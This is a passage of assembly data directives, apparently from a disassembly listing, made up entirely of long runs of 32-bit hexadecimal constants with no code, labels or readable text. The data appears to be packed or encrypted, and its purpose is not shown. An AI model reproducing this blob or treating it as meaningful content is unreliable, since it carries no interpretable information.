0B4B7604Ch, 7B99021Ch, 3D40AABBh, 0C21E687Ah, 0DCC0D8D5h dd 0E2A31FE1h, 0C9A904A6h, 0C95F8160h, 9A800308h, 302C31C1h dd 35441A74h, 294D0046h, 2D516140h, 0CE9010A7h, 5B49A49h dd 7379D070h, 0E3B1A680h, 0F1080E5Dh, 31028691h, 3C443D6Bh dd 68804B13h, 0EE76A000h, 98DD9329h, 3167403h, 1EBD4A69h dd 59079D98h, 47289918h, 0AF4482C0h, 0F12F1277h, 0A53440C9h dd 2D76E5BFh, 871CD02h, 52C0F73Fh, 0C2647BB8h, 4D670529h dd 0EEA153C1h, 119B1061h, 998B363Ah, 0A0845Eh, 289F4057h dd 81E0E95Ch, 496AAA8Fh, 2B022840h, 38D10F04h, 0A580BE50h dd 607644F7h, 35052A04h, 94807E14h, 30977420h, 9E203EE9h dd 3A013C60h, 0A2AE6BE4h, 0C2D02741h, 0DAF4016Ch, 0CD2C8252h dd 0CA2DD4EFh, 399A9009h, 0E8E9093Ch, 1F0758h, 9E2D1029h dd 62A9F16Ah, 67BA0306h, 7C9373Dh, 0D7956999h, 89831064h dd 3E25CCBEh, 51B8203Dh, 0EC79C442h, 0F0E2B3h, 0C05099E1h dd 384516A0h, 3B5D5F3Bh, 7EB787BAh, 319BB8Bh, 0F8579EA4h dd 0EF11594h, 0EEE2B310h, 0B8C79980h, 0D8F9952Eh, 9A2AA331h dd 0FD3BC083h, 93E300B4h, 714D4BCh, 28E00Dh, 231AAFB5h dd 38104B7Ch, 0B4ABC80h, 0E71B8178h, 4186F898h, 0E1FB9C00h dd 0FD8F43F0h, 0DC530042h, 3851F4F6h, 6B1ECA3Ah, 1D8A0F91h dd 93001C4Ah, 7748EFFBh, 0AF730707h, 0E132123Dh, 0D436E125h dd 6600E6E0h, 0C2940FFFh, 0C710AAAh, 397E7CAh, 5C034B91h dd 42153F74h, 0E3F8B0EBh, 0E44E00B5h, 9B73BAF7h, 3F1D660Ah dd 40CA450Ch, 84008C0Dh, 249C538Ch, 34B458F7h, 0A9BDEC81h dd 1A9C3029h, 0C8598E0Ah, 0F440C83Fh, 3488E6h, 0E15E4122h dd 0C73B39Eh, 6335D1Eh, 400E4EC0h, 0C06A9989h, 0A782AE51h dd 4D13310Fh, 74008C79h, 1D7B8B1Bh, 834700B3h, 99D8235Fh dd 0C139890Dh, 0B8438067h, 60AD2624h, 0F375E2CDh, 0B52C8180h dd 0BFF672C6h, 0F7B65F1Bh, 649BA248h, 57CB00B4h, 3F3D7375h dd 930F6790h, 24A9FA96h, 0A0883C7Bh, 0C720043h, 5F4C4E07h dd 510708B4h, 0ECFCBE3Eh, 33235B81h, 89382830h, 19C3296h dd 0CF45352Bh, 0CC30DC6Fh, 24858886h, 84310E6Fh, 0EE4B72B7h dd 8089B889h, 0B4A56600h, 6D3BCF91h, 2C782E7Ah, 0E6CBB842h dd 9CD10094h, 128BAF8Eh, 30000718h, 86FD95B1h, 586BDFh dd 0ED1A6737h, 0EB5E54CDh, 602FF53Eh, 26B6B071h, 7CF0456h dd 91BF3277h, 6D96D1E8h, 9B007D74h, 3869DEEh, 0F24D1FF4h dd 3C4118CBh, 0B6799134h, 5E7EE304h, 0CFC0283Fh, 0E33ACC02h dd 5DFE219Eh, 51A00007h, 393325CFh, 4873E2Ch, 0DD202D60h dd 0FD7A1Ch, 3C0E0CE8h, 77ACFC67h, 44580BFAh, 0F2F16060h dd 0B77F48h, 0F5854318h, 0C29914FEh, 0D0917873h, 0CB79B500h dd 0E41F414Ch, 0CE52001Eh, 7518DC1h, 7524D147h, 0F103EC9Ah dd 0A0B6F2D9h, 17A9E7ADh, 1429D2Eh, 48E6AE48h, 0EE402055h dd 20607B27h, 6D8777D4h, 0D68B1258h, 0C91CD049h, 991F227Ah dd 0A880BD8Dh, 633B7CEAh, 0F928380Fh, 93EC801h, 1302984Dh dd 35F6F8F3h, 58CF007Ah, 2C2BA9C6h, 150284E4h, 0CC7C1CA2h dd 906449h, 853215Eh, 0B4FEBEC2h, 0A7D03800h, 7292C7C8h dd 3EB2FEECh, 9E81996Bh, 0F7402B5Dh, 64B048ACh, 229C089Ch dd 1983F300h, 0C90030Bh, 396945EAh, 24B89FE8h, 4F106A42h dd 41CE8C58h, 73BB00DCh, 47FA8566h, 1E073225h, 0A2A6C712h dd 1B94FFF0h, 8028B1EFh, 0B7FBC82Fh, 0BE00785Eh, 0A0754C48h dd 5D3F596Dh, 9B28F8D4h, 6E3C0054h, 0E53A9874h, 3F00E3A2h dd 0FFBDEBA4h, 583DB8F8h, 40C20AEh, 0ECB02CF7h, 704C1D14h dd 45AEC394h, 1B6AF8B9h, 0C560C589h, 25900688h, 2F2E108Ah dd 0F4ED09Ah, 4127209Dh, 75CC429h, 63712C38h, 724560A8h dd 682808CDh, 0A6481896h, 393101DCh, 0C39CE801h, 304C93C8h dd 1A4C64ECh, 89003366h, 34A5073Ah, 31BA2D5h, 0D340ABE8h dd 17E09246h, 565C6B4Ch, 0CD387AE4h, 20E917C1h, 6F322430h dd 4E6A00C4h, 0B50CEB46h, 8201FDBDh, 0A3EF71C9h, 943C2CAFh dd 0B1D86F80h, 0F100205Dh, 7D617CB2h, 6150F536h, 280DF8A8h dd 0D82D06h, 0D2F4752Ch, 1CBF9E6Ah, 0D78659BBh, 1B30C89Ch dd 25440800h, 9930ACA5h, 0AACB00F2h, 7895E41Ch, 965FD269h dd 4E0BF840h, 0E2758198h, 84FC00D1h, 934032Fh, 390782EDh dd 0E0F4169Eh, 4D175F70h, 0F7151661h, 0C02031ADh, 0CA047096h dd 1A7A588h, 245F5285h, 3D367B97h, 0C12C4C04h, 6B5299F9h dd 0F54179F5h, 0C8C84C9Ch, 7D42000Fh, 54697422h, 5325A3B6h dd 0EC98A098h, 7F0FBD0Eh, 17DC9824h, 30C5CE1Eh, 0B10994C8h dd 0A1ACED00h, 4B69BECFh, 0B5E5125Dh, 1944C873h, 3CAACD00h dd 8C7C387Eh, 94DB02A4h, 27E3E1F2h, 67B49688h, 0AEBDD087h dd 0E8F42B4Ah, 0FB55FC00h, 0BAF21BC8h, 699A2A93h, 0FDC50084h dd 0C316FEC0h, 2026D852h, 6640C098h, 3832DDD3h, 7980E7CDh dd 993D3F8Eh, 1CB1C2F7h, 0AFDCF300h, 13495325h, 4527EE4h dd 408DB900h, 0D438AAB6h, 0CE60002Bh, 933B0743h, 1B00F6FDh dd 0CFFC542h, 6149EE1Ah, 85FEC1B6h, 566D0138h, 12C45FF4h dd 893F1F06h, 0B6F6F4BCh, 48DD500h, 0A598C47Dh, 8BB0D4h dd 5DADF8EEh, 0B4953069h, 1C0BA4Dh, 28A41C59h, 3838AFFDh dd 60848F87h, 90E79C35h, 4EBBA000h, 9A152F57h, 0C3C10013h dd 5197A8CBh, 0AE04F21Fh, 1DB92B48h, 0B55F00C1h, 32A579FCh dd 2F512973h, 5024B4C4h, 500804Eh, 0E0274B31h, 6A6005D8h dd 8891CE08h, 83721D28h, 3FBCCF58h, 0FCB405A9h, 18F43FE8h dd 0A46A07BEh, 709519E1h, 8F4BBFDCh, 3A235C00h, 5277E592h dd 9137460h, 9BBA0555h, 4620ECC8h, 0A730F400h, 0BC3A8EDh dd 0DBFF0175h, 0A1EE0756h, 0ECBC304Fh, 3C0A040Bh, 4BCC20D0h dd 95BCC65h, 43882753h, 4D70BCC4h, 2DD400Fh, 86960A5h dd 4F971CBh, 0B4AE288Eh, 0BF0CCC5Ah, 87991B00h, 23C4AB7Ch dd 82BC04EEh, 83C8A81Ch, 291EF2ACh, 8039871Dh, 0C0B2BF1Eh dd 3B7C2AEh, 0B528ACA1h, 83C9E21h, 0C7067CA9h, 22BB41F2h dd 4AE418B8h, 1F349D1h, 0BE468D01h, 50DE9F1Ch, 1D1330C8h dd 0C9C50769h, 8C8AF1C1h, 0B2E5606Ch, 0EC00DA8Ch, 0F461A20Ah dd 5CD4C90Bh, 0CF801C3Ch, 1C679C18h, 21D50F00h, 97C5F19Dh dd 1DB091h, 399D2BEh, 3F190984h, 0BF00A898h, 3E573B60h dd 24A13733h, 9EDC7A49h, 0DA4C40B6h, 0E4311FEFh, 8FA6CB3Ch dd 81158058h, 0BE1AEA36h, 792B2820h, 0D8F0146h, 9C65AF64h dd 22CC70B8h, 0B373BF00h, 9B4140CFh, 0B52F0159h, 0A8B4B1F9h dd 0BC54F460h, 1476BB73h, 0BF023F0Bh, 0AD3A826Ch, 9F0860DBh dd 3D4F2E32h, 9365409Ch, 600176BFh, 510AEEE2h, 0C892ADEBh dd 869800AAh, 0D01F70AFh, 214F658h, 0BCF4EC85h, 124597Ah dd 62C8E6B5h, 8FA06A12h, 3A2B0090h, 0BA0B0A86h, 0D89144F1h dd 0E0E0D88Eh, 11CA4874h, 83E906CBh, 58C8BDE7h, 9E4B13Ah dd 8112D007h, 0F327E820h, 0B84C4839h, 1EF18607h, 2D5B52F5h dd 22481C78h, 0A0082DB0h, 29C338F4h, 3FF625B5h, 1259DCA0h dd 280F7F5Dh, 0E1BD9C1Fh, 871B3EB9h, 90C45060h, 15C576BCh dd 0D8A54972h, 96606D0Fh dd 69B65280h, 3402E890h, 56870145h, 0C7DCE071h, 482D3C4Ah dd 1A6CC180h, 22517E4Dh, 72815E2h, 6B48A4A8h, 5B030054h dd 8EF1FE60h, 6898482Fh, 0BBE51004h, 3A04C252h, 9820D32Fh dd 90934B20h, 0AC5625CFh, 812A8081h, 80147C51h, 392D9112h dd 91804D4h, 80031463h, 0AB0A6D6Ah, 0D090974Ah, 7029C2h dd 341610D9h, 0D444F9C7h, 0B5B02650h, 8F0BCAF0h, 4033B1AAh dd 0B0E2FB84h, 1E2D0098h, 3D9807D5h, 0BC07D104h, 2774C2C3h dd 7C879C9h, 8B44A683h, 0CA400002h, 85005C79h, 0BB988DD4h dd 9D69005Fh, 0CE518978h, 4174E6A9h, 428022h, 320D9915h dd 0C1E89B1Fh, 1DABEB00h, 3D8FC7BAh, 0D4645001h, 9884A00Ch dd 5384255Bh, 0AC0084E4h, 0A2B990D5h, 1CB1D0EFh, 1F85BDFBh dd 42506CF6h, 0D471293Ah, 961AED00h, 3EE422E3h, 0A21D9C24h dd 7A54807Fh, 5F8C56D4h, 2CA2DFB0h, 0EB2E0CCCh, 4B094EECh dd 0E8EC1064h, 53BA0060h, 0B9338E2Eh, 0EF072BFAh, 465CCEE4h dd 85D6FBD0h, 0AA9005F7h, 0BCD0F28h, 121A28h, 0B60068C6h dd 242A9FADh, 3E313C1h, 40D9A62Fh, 0FFF85F87h, 61163B51h dd 0AC974AD4h, 841B0B90h, 0DC770Fh, 0D24BA8BBh, 690D7B47h dd 0A0AD98A0h, 0AC197A26h, 20DD4800h, 2FB4BABFh, 909127F3h dd 0D6EB4039h, 133E81E2h, 1C1587ECh, 0ABE0B230h, 0A074DAh dd 0C51201FEh, 0ED17CD77h, 50556F0Ch, 8908F2h, 84CE236Dh dd 530EEB52h, 87BFAF8h, 1A030974h, 0D462AB0Fh, 60F8A825h dd 91A100D8h, 77F40457h, 50C1896Fh, 0FA158405h, 0C72B2D0h dd 0FF4F1EABh, 0E000261h, 8D0F677Ah, 7A1E1B8h, 0B96A3F16h dd 0A482B091h, 6079974h, 1DC8CC32h, 2E2BD971h, 94ADA980h dd 4E4E7DEh, 0BFAB3E00h, 3BF67FF9h, 0E6C9C8EFh, 567C3080h dd 0C4E6B37h, 686C19B4h, 9617ED18h, 261CBD16h, 0B240279Ch dd 0E8C034D4h, 9E1003Dh, 6FDB4791h, 51305456h, 47D51FDh dd 60FA00FEh, 0C3917AC5h, 0F726C7C6h, 0AE00F0AFh, 7BD30AEAh dd 2AE30680h, 717614D6h, 0A7F63807h, 0FB5092F1h, 0A23CC5Eh dd 19DBB34Fh, 67F3ACCh, 2D4BDDDFh, 671E916h, 0E6B3803h dd 0A87E4FC3h, 569ED6h, 8A682C1Eh, 0BA80110Bh, 0D9318661h dd 8A98C77Eh, 0E63CB1E8h, 5FB8C05h, 0F4202D53h, 0A12269h dd 0D3AAB0B1h, 1950C131h, 5E489A00h, 17DA398Bh, 2CB9C077h dd 84F92943h, 3D04261Fh, 10666B40h, 86DCE9h, 377E808Bh dd 4CD53381h, 70100661h, 41806C16h, 5426FD47h, 0DB00B6A1h dd 670AA47Ah, 9D6486Eh, 4B41D8BEh, 0C2801829h, 0A91C557Bh dd 1EC64C00h, 85788B27h, 6EAB3F5Ah, 0DCA158F1h, 412D6806h dd 0D82F3970h, 779DC39h, 0E004BA06h, 7BCC2845h, 30B81C2Ah dd 37ADA000h, 38F4A9EBh, 0BF7F18h, 344CCBDBh, 14E2EA26h dd 0E800AF76h, 0D75F979Ch, 0CB8A06h, 0C779C8E5h, 0B0091021h dd 0D001FE8h, 3CE0B21Ah, 18A7A9A1h, 694CE2EEh, 0B7000723h dd 0F44B2B2Ah, 5338331h, 505EBF3Ch, 0CBCC40F5h, 0F742B00Eh dd 62948201h, 132C1D75h, 0F64CD050h, 0F1F5245Ch, 0EAFE0044h dd 86A0DA2h, 93E32400h, 0A7CC8C07h, 2A0A0001h, 5D99C5D4h dd 529187Bh, 0B0018C42h, 0D0F0029Ah, 0C84875F1h, 9D7A1FE6h dd 196607D4h, 29191C6Dh, 84026AF0h, 1426D332h, 0F97C2077h dd 53007A3Fh, 23BC3AA9h, 875908h, 0CBD5611Ch, 14C0A029h dd 19316E60h, 73598545h, 0A09E7CB8h, 358053Ch, 60B5FD6Eh dd 0BB866E4h, 0A400EEDBh, 3291078Dh, 15564ADEh, 842FF677h dd 0E6EEA206h, 1D24D154h, 6640EC4Fh, 9708E3h, 873712B6h dd 8A0FD569h, 0F8623F00h, 0F1D7A822h, 60AD075Bh, 47A0ACF4h dd 2EE08FFDh, 8FE281C1h, 34210960h, 1902F48h, 7452BDB2h dd 0CD08A4C4h, 108BF0FFh, 6D537600h, 0ACF3312Fh, 60187D02h dd 0CB5E50ABh, 0B010FB9h, 2FC5BACCh, 0F271C61Dh, 0F6E16D0h dd 25AB792Bh, 5A70B0C3h, 0FD78708Eh, 4208400h, 306C0FA4h dd 5512302Bh, 0C47BADA0h, 3863C00h, 17150872h, 81E9241Eh dd 0FF7600FDh, 8A5F71BEh, 2C777018h, 3C6BDA51h, 2F808D62h dd 0EF32A6D7h, 1333EEA0h, 0D8CDF9A7h, 0C46727h, 663FDBF9h dd 0DA26CF32h, 820EED0Ah, 1960881Ah, 3FA81A8h, 2C5C4B4h dd 26A96872h, 6BC6D0BEh, 0F50D201h, 0F25B6C70h, 77B900D3h dd 3A4803C2h, 3CFC3567h, 5079F800h, 15D34A7Eh, 0B3C70031h dd 8C24263Bh, 0BD00D864h, 0BEF911D9h, 5279E64Dh, 40CAC5Bh dd 81597B22h, 5899F660h, 38C5A1Bh, 4CE33B42h, 310086F0h dd 0DD5735Bh, 0D718EEh, 0CF5936B1h, 61F25EEFh, 0B01A49C0h dd 6D044D1h, 8EF4C591h, 0D81259F8h, 9500489Bh, 0EC8D84F3h dd 21140079h, 45A99A7Eh, 956F127Bh, 0A3772069h, 7C500252h dd 5E9703D2h, 1605E77Ah, 8E8604A0h, 8459EE60h, 73B6CFAEh dd 643C0548h, 0C0CE42B4h, 328702EAh, 5D97C07h, 6240CA10h dd 1F33A78Ch, 0C0175AE2h, 0A8003A5h, 7E033C54h, 0F15E6246h dd 1EB3887Dh, 91A26011h, 0CE300335h, 4B69600h, 7EF60E49h dd 0EFBA0014h, 5FBC830Fh, 2A005D23h, 2E11D68Fh, 9777D06h dd 28166941h, 2A32020h, 0FC026E1Ch, 8C78DD42h, 0CBC6E0F0h dd 0CAE10351h, 0DC8240F5h, 0B055D900h, 0A77F1310h, 0FEE430AAh dd 0F4802319h, 5B86454h, 80925C3Fh, 0F0E5D6D2h, 8D9707h dd 63125565h, 0C372707Dh, 9DCBE0ABh, 0BD30D102h, 0C3E3342Ch dd 0C049A359h, 0AC380Bh, 0B358A2DFh, 39627B55h, 0B0F0540Ch dd 50A839A1h, 391D44D6h, 4692658Ch, 0C4940121h, 33E0A820h dd 88658008h, 64C9651h, 0F33F7204h, 9400C179h, 7C0276CCh dd 0E2C45FBAh, 0F83B3C95h, 8C6B0D03h, 1FD8CCD6h, 940F8748h dd 60012615h, 0BFAF5F79h, 496560F4h, 0B7C26655h, 0C62FCA01h dd 642A8933h, 0E161FD4h, 0FE0E820Dh, 7CBFC9C0h, 8D505587h dd 0BB007A54h, 0F85C2D98h, 0C0568E36h, 0F3B72FB0h, 1748AF88h dd 0AA809C98h, 1934A153h, 6AFE00A3h, 336909F5h, 47004A27h dd 3104DE16h, 0D68221h, 5E20960Fh, 6A4F1184h, 7A1DA8C0h dd 2E87DCF5h, 87B2AF6Fh, 0E1816E05h, 0D404B0C9h, 15050312h dd 9E110230h, 0F296A040h, 0A0799Ch, 1BA9A42Bh, 44730E58h dd 800B633Fh, 0BA0DFCC7h, 5C6BF6B7h, 0A146E37h, 0E9003C12h dd 0C9FBB6BCh, 0E50E0D5Dh, 7D6BE6A8h, 433BF900h, 0A5327B1h dd 0EF818B90h, 6189808Ch, 3B6BE737h, 0D8DB6601h, 0DF048848h dd 282F91CCh, 501258h, 5F430A36h, 0F1C9FC2Dh, 0BAA3Dh dd 52652A44h, 12E0BFDEh, 186BB45h, 8E8C0314h, 92A610EDh dd 0DE4300D8h, 0F391CC1Bh, 3D003664h, 0D71F2C78h, 1E632DACh dd 522B7962h, 251C2257h, 7DEF3240h, 0D719FF00h, 1F923316h dd 0C8114C85h, 0D2425180h, 360089CFh, 0E6B07DE3h, 805506h dd 71B3905Fh, 0AE87ED95h, 0E37331C0h, 202D906h, 50A04C47h dd 8140B1EAh, 0B1C0F28Eh, 96DFC1Dh, 1173015Fh, 1208B77Bh dd 0FBD9D47Ch, 0E8DBBD0Fh, 0CEA918F4h, 24E300DEh, 86C40E57h dd 0D400FF80h, 859FC58Ch, 160527AAh, 9219DBh, 6A9D1660h dd 0B14C8CA9h, 0C094505Ch, 1E2B2Ch, 607D004Eh, 49155996h dd 0B5004C04h, 0E1D647ECh, 9200765Eh, 0A277CD73h, 9B1F4F7h dd 0CF01DA1Fh, 27174498h, 48618E03h, 0B0A32123h, 0B6264Ah dd 0A122AAE0h, 1EBF8BAEh, 0DE246000h, 5481E315h, 8CAB288Ah dd 0CADBE5E0h, 341020F5h dd 0EF004EB2h, 20098551h, 24928C94h, 60D0BCABh, 3ACA4F95h dd 3FAB501h, 0A080D820h, 7681B9CCh, 0B00448E0h, 17A89A06h dd 3E00D906h, 5C1FE6BCh, 0A02CF27h, 32217876h, 891A60F0h dd 7400E055h, 996E5024h, 41C1059h, 2BB4E481h, 7834C821h dd 0A91E58A0h, 2F2BC38h, 0FE4CF0Eh, 90EC4397h, 986A702Bh dd 91A51410h, 5A004416h, 0C8672930h, 88E234E9h, 3E95FF01h dd 7E708B82h, 40C1072h, 0EE716A20h, 0D6DCB560h, 6EFA3C0h dd 0F344C479h, 3E00216Fh, 0A804338Fh, 4806BEAh, 262B2E09h dd 0A2E04155h, 0D062F481h, 8BA1007Eh, 0A5270F65h, 89001946h dd 0D91CD5A2h, 2F02660h, 5181BC75h, 0B06655E8h, 0F3F200Eh dd 27C4028h, 306F6Dh, 4A22E762h, 7B517A78h, 0DD0014B8h dd 0F76BD95Ch, 7E8949h, 2B059AE9h, 0F3BB0A81h, 91596344h dd 20119634h, 7E63A028h, 0F626D900h, 36EA3A03h, 0D2090115h dd 0DE88F18Ch, 16487039h, 2B1F850Fh, 2282FC78h, 0C4E458A8h dd 50DB2A18h, 78F548A0h, 758C1E80h, 2E0039E8h, 3DEDB8C2h dd 1261A55Ch, 3085D254h, 41A27BCCh, 63004BF0h, 7714F45h dd 15C5BFB5h, 0EC891610h, 31F78118h, 0CCE1E68Bh, 140FCCBDh dd 0AC4976ABh, 246372B3h, 1EC8D646h, 40B91E92h, 129CEDF6h dd 87017D09h, 74C803A4h, 85F1F56Fh, 2D242032h, 589D001Ch dd 0A85F6B08h, 80E8FA58h, 0CE75137Eh, 8C061248h, 5DF0079Eh dd 4A7470C2h, 0F3188807h, 0C7F966F4h, 411300EBh, 49468AB7h dd 0BB1DAFEEh, 79C4D1B4h, 508C63EAh, 84E0B8h, 0BF30186Ah dd 9AD57765h, 90B8C050h, 94110718h, 1E1CF8A1h, 416AB9DCh dd 70C5D633h, 4244171h, 2C7216h, 0CBB18E9h, 725D40BFh dd 0B0977B73h, 0F0DB4510h, 6501449Ah, 0F53B009h, 0B1426AC8h dd 487C4443h, 184073EAh, 2CAA008Bh, 89FF186h, 0E0E76C70h dd 99094F87h, 90180296h, 72C468h, 0B78A3C71h, 28EA78D2h dd 61D76201h, 327D79E5h, 457CB822h, 2320C168h, 27390048h dd 0EAB3D2D0h, 6C090038h, 874059Bh, 47135095h, 0D80272D8h dd 0E0AEE653h, 784F8428h, 4C805887h, 201D080h, 5F00113Fh dd 0F7C5932Ah, 0FB615E25h, 0E27203E8h, 5F8F4A18h, 595AC070h dd 0C355641Dh, 0FDDD2906h, 50A16EF4h, 12B89BBh, 0C66DC99h dd 800716D3h, 0DB5B63F1h, 0FF6EAA6h, 77BB04C6h, 0A5112224h dd 20B6CC88h, 45153C07h, 64C08462h, 5DDAAAh, 4F9BD94h dd 5D93B63h, 3714DCE8h, 648F32h, 0A14CC797h, 58AF526Eh dd 2B009791h, 0E5F4DD61h, 78A3F78Fh, 795F58F8h, 8E060909h dd 33D404FBh, 0BCA39C80h, 0B1FE6016h, 0DF0CAD29h, 0BA174900h dd 9A7DD9FCh, 4E1D0075h, 80AC1670h, 38944B90h, 35225C40h dd 7934039Bh, 0CD0DFF44h, 2CD452F0h, 2A1D311Dh, 85822280h dd 9623A53h, 0A0401554h, 2E5BB082h, 6A7A8D20h, 2CB92C02h dd 0DD320049h, 9E9B06ABh, 1C625173h, 0C6CDF716h, 0C692003Ch dd 0FF5AA8C9h, 990030EBh, 9EB0447Bh, 2D3106Eh, 0A9E3B722h dd 84A0F381h, 4CAAB254h, 7F41D517h, 0A38E601h, 0C873C161h dd 94FE4D07h, 99E0F08Eh, 7100546Fh, 53FE181h, 5C982E9h dd 0FBDA9433h, 0C14CC678h, 26CCB007h, 83C2E4E7h, 90AC51EDh dd 4258BEFh, 514063F8h, 0DDD187BBh, 0F0997126h, 91FC0B00h dd 3728009h, 0BF636082h, 31076DF3h, 209B8A14h, 542800Fh dd 0B4C3B03h, 941FBD60h, 0CACB4C98h, 0D93F9D00h, 907AAB0Ah dd 9ECDF1F1h, 0F0FBDCh, 0A3FD17CDh, 1685AEE9h, 9D00247Ch dd 64ACD562h, 0B07DB083h, 0E3B7498h, 0C704EF44h, 0F152A9E0h dd 4951BEBBh, 0E2C40CD4h, 0EB0048FCh, 0D90861CEh, 102577h dd 0BBB57CE0h, 6822BDA1h, 0B00A4F26h, 5D6FD00h, 703CEF9h dd 152BB959h, 0E86DC002h, 810ECD0Fh, 9CD64020h, 70B30E81h dd 0A0510A8Dh, 866047EAh, 17E100DEh, 24F84137h, 5702768Dh dd 1708E88h, 877CC08Bh, 7829F961h, 0A45A3400h, 9775B8B4h dd 23F12703h, 80E2FEDBh, 0E7F6F5h, 6C7F69B0h, 0EA5F8071h dd 0D8F25A26h, 9C0BA340h, 96530086h, 4BEB80FBh, 0A7001389h dd 0FD5CF40Fh, 12E39B7Ch, 40301734h, 9AD0D108h, 7E7D235Eh dd 5193E8F9h, 6B6E0E01h, 282B1EB6h, 2070872h, 218B0372h dd 0E05A6FC7h, 2C2CD7C2h, 2E80A8F7h, 47FD74EDh, 2A5D0016h dd 584BBD89h, 6C057E55h, 9591921Fh, 19AC9802h, 5FC06007h dd 0ED2D0914h, 442093B3h, 0A7C9D7DAh, 7D24D375h, 0E801B480h dd 17BC4025h, 0FB016422h, 529CA0EBh, 66986405h, 1136D20Ch dd 0F049AAh, 6F8D23DFh, 4F2FDC64h, 73BD4700h, 0B9844971h dd 23284B16h, 0A3F05BACh, 0EA002755h, 57C87826h, 39C7C628h dd 0A78B351Ah, 9800B33Fh, 8C644E9Ah, 0AC772C00h, 7F1716C4h dd 6C180168h, 272B8BF5h, 5443601Bh, 0BFA9B400h, 0F3BA081Eh dd 0ACB967h, 2285FC76h, 2948B39Eh, 0C372032Bh, 0E8A401A2h dd 0D9D16Ah, 3B664FF5h, 0E7BDB03Fh, 2EB4D802h, 611671B9h dd 0C8405B88h, 64038A6Bh, 0CCF7DC80h, 0A07B7390h, 29A20400h dd 4CBBA79Dh, 0EA503FE5h, 0B7775A81h, 0CD87F712h, 0D3EC1093h dd 0A43A0005h, 1A8D4BAFh, 38991FB0h, 0F88EA380h, 6B3586h dd 20D6AE0Ch, 0D58F9073h, 8622B13Bh, 9C113B34h, 1B63831h dd 4845E90Eh, 0BBC552E0h, 0EAE00DA3h, 0FAEDFB1Ch, 0BD90580h dd 58789565h, 0B8DFD4DBh, 200E8C00h, 0E32B8D36h, 2C79CDE3h dd 0E2CB8038h, 207D1Fh, 0F76388F5h, 10197653h, 0A081C427h dd 14E01CCCh, 2793003Fh, 0A88F5590h, 6200D7AFh, 24763BCAh dd 73538CBBh, 1F651401h, 3A02EC9Ah, 2BA9790Ah, 4728938Ah dd 0CDDC0341h, 0F5B1F8C8h, 48466D01h, 0ED095A69h, 9DB038h dd 606B8950h, 0CB00C2F3h, 6E08AFB7h, 766F62h, 0F11D055Bh dd 80041AF4h, 83491004h, 6C902916h, 0E9637Fh, 549A9D6Fh dd 10BC50ECh, 7EFA9200h, 0AAD0B8B3h, 80A6392Bh, 11582289h dd 61E2E090h, 0BC4AB01Fh, 0A52D6B82h, 185091h, 0E9237F9Eh dd 0F2598C3Fh, 32A60096h, 0E10041A6h, 3D425015h, 200E5AB0h dd 1F3E598h, 76016E75h, 0BA309151h, 0D8216C16h, 0B5C1582Ch dd 20C6B1DAh, 2E266A90h, 3809CCD1h, 3349116h, 1CA4E0D3h dd 6EEF019Eh, 21A7F126h, 5083097h, 0E872DF02h, 40B0C214h dd 6E397368h, 70E3C0B6h, 0C1D447C4h, 7328BAB4h, 0F1950078h dd 0DBCD2CE1h, 651B0373h, 0D9E9A96Ch, 74F4210Fh, 0E0FB00B1h dd 3ACFE471h, 0DB22AAC4h, 31A9C504h, 60C342E6h, 9C03823h dd 168DF481h, 10B1ED90h, 30D8BA5Bh, 0A9112D15h, 0D2078B75h dd 27861441h, 4482DDF2h, 0BF9003Ch, 0D61D4B45h, 0C600E93Ah dd 0A47F540Ah, 12577AFDh, 1FDD8123h, 66FCCF00h, 1CBBB900h dd 56039CEEh, 7A942D53h, 44804AACh, 4079F248h, 3BB2D9EAh dd 13EF0041h, 7105C59Ah, 4E0E6FEEh, 0C509BE86h, 1C0851D8h dd 17DF8066h, 7804C2Dh, 9821D61Ch, 0D20BCF80h, 2B9860Ch dd 83617CECh, 80C01F9Dh, 0B32DC903h, 1CC908Eh, 0A5BB0114h dd 9E0D45D8h, 0E080FA02h, 29F7A9A7h, 4D9F1700h, 341FC1CDh dd 0AC825053h, 8C060E8Fh, 87808916h, 0A1FBE85Eh, 0ED2D9FF0h dd 0C6D011D9h, 348355CCh, 0C071F481h, 0B3343ACDh, 0A70041F6h dd 0A2427D95h, 5C8D31FCh, 0ED80988Eh, 20C51EEBh, 704B3500h dd 2E9566BBh, 84B92433h, 0A96A0420h, 300C89FBh, 80F8FEBCh dd 0FD3240h, 39912CEAh dd 281B5588h, 0F0DA48h, 0B61D97Bh, 4F72040Dh, 8B88002Eh dd 70AFB0AAh, 412F7E33h, 0E0788Dh, 0B5E0EE5Ch, 0D8040ED9h dd 7B9C8014h, 483ACC14h, 0CF3C2699h, 0A5D860C0h, 4109A601h dd 4480C442h, 8ADA03DCh, 0FEC2F17Fh, 305DC1F9h, 82002A8Ch dd 0C1DE49Fh, 3BD19B7Dh, 0F4986C57h, 0AFF5397Ah, 0DF33BC0Eh dd 461BA086h, 98B246Ah, 7A8C309Dh, 72BBF780h, 2B6117D9h dd 5BC573A1h, 6ED43BD1h, 8B92009Bh, 8266D406h, 14A01259h dd 910069B9h, 0F694C334h, 38CD5711h, 988348B3h, 9FADF04Bh dd 2F73D904h, 1480CE64h, 9621E9Ch, 0F394ABBBh, 7C1C4C10h dd 204ECD00h, 228FE92Bh, 0FB50FC8h, 472F24BCh, 433A7F60h dd 18099515h, 44A4E485h, 4D3D00ECh, 91991E55h, 0E01C6DDEh dd 0F780E11Bh, 0FDAD6825h, 0EB349031h, 27B48310h, 7F164490h dd 2846FA75h, 21A913h, 0A2E441E8h, 7A3BB85Dh, 0CC207902h dd 0E675326Ah, 67D01D40h, 0F8AA42C4h, 14C6286Fh, 0A9B31D03h dd 0C9E653C7h, 0E5600A04h, 4C227159h, 9E758CBEh, 7F803944h dd 5A03AA6Fh, 471BBCC2h, 80612A12h, 77A1CC6h, 2109DE69h dd 553B6089h, 393CC926h, 851497D4h, 856CB80Bh, 5C810804h dd 7FF48288h, 7B80F678h, 8190165Eh, 26F1E54h, 0F4BFA5E4h dd 0F33900C4h, 6B1D8085h, 68172B34h, 63820989h, 5D00E4ABh dd 19777D09h, 111A5127h, 270F66Ch, 0C3405885h, 676B5500h dd 0DECE7650h, 0B12A3200h, 1DA0661h, 0D9020028h, 0E308626Dh dd 0AE4CEFA2h, 1E3E1208h, 8D207C30h, 909B074h, 0F22ECCA6h dd 172500E8h, 4CE69700h, 24788763h, 19FA000Ch, 0AB5A65Dh dd 114C1E64h, 6D9B8020h, 107C29EAh, 7C2C5C70h, 7E6ADA00h dd 79E1D2F7h, 89789C72h, 70692E04h, 14EC8F02h, 4912EB18h dd 0E33070ECh, 321F004Eh, 674DCE20h, 8B3C0A3Fh, 0A0122709h dd 0D133FE68h, 0CF4804CCh, 